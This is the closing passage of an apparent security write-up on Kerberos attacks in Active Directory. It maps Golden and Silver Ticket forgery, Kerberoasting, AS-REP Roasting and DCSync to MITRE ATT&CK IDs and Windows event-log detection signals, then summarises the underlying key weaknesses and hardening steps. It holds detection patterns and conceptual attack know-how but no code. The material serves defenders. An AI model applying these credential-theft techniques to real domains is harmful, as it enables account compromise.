| Steal or Forge Kerberos Tickets: Golden Ticket | T1558.001 | 4769 with no preceding 4768; RC4 / 10-year tickets; 4662 DCSync GUID |
| Steal or Forge Kerberos Tickets: Silver Ticket | T1558.002 | No 4768/4769 at all; enable PAC validation; rotate service keys |
| Steal or Forge Kerberos Tickets: Kerberoasting | T1558.003 | 4769 etype 0x17, options 0x40810000, non-krbtgt SPN burst |
| Steal or Forge Kerberos Tickets: AS-REP Roasting | T1558.004 | 4768 with PreAuthType: 0 |
| OS Credential Dumping: DCSync | T1003.006 | 4662 replication GUID 1131f6aa-... from non-DC |
| Valid Accounts: Domain Accounts | T1078.002 | Anomalous logon source for privileged or service accounts |
Summary
- Every Kerberos attack is a consequence of which key encrypts which ticket and who is allowed to ask for it. Internalize that and the rest is detail.
- The AS-REP
enc-partis encrypted with the user’s password key, so disabling pre-auth (DONT_REQ_PREAUTH) hands attackers an offline-crackable blob – AS-REP Roasting (T1558.004). - Service tickets are encrypted with the SPN owner’s key, and any domain user can request any SPN, so user-account SPNs with weak passwords fall to Kerberoasting (
T1558.003). - The PAC carries group SIDs in
KERB_VALIDATION_INFO, protected by a server signature (service key) and a KDC signature (krbtgt key). Golden Tickets (T1558.001) need the krbtgt key; Silver Tickets (T1558.002) need only the service key and survive because most services skip PAC validation. - The krbtgt hash is the domain’s master key. Protect it, force AES, apply KB5008380, and remember to reset it twice to invalidate forged tickets.
- Detect via DC Security events
4768,4769,4771, and4662, watching RC4 etypes, missing pre-auth, TGS requests with no preceding TGT, and DCSync replication from non-DC hosts.
References
- Steal or Forge Kerberos Tickets: Kerberoasting (T1558.003) – MITRE ATT&CK
- Steal or Forge Kerberos Tickets (T1558) – MITRE ATT&CK
- [MS-KILE]: Kerberos Network Authentication Service (V5) Synopsis – Microsoft Learn (Open Specifications)
- [MS-PAC]: Privilege Attribute Certificate Data Structure – Microsoft Learn (Open Specifications)
- Service Principal Names (SPNs) – Win32 Apps | Microsoft Learn
- Kerberos Authentication Overview in Windows Server – Microsoft Learn
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.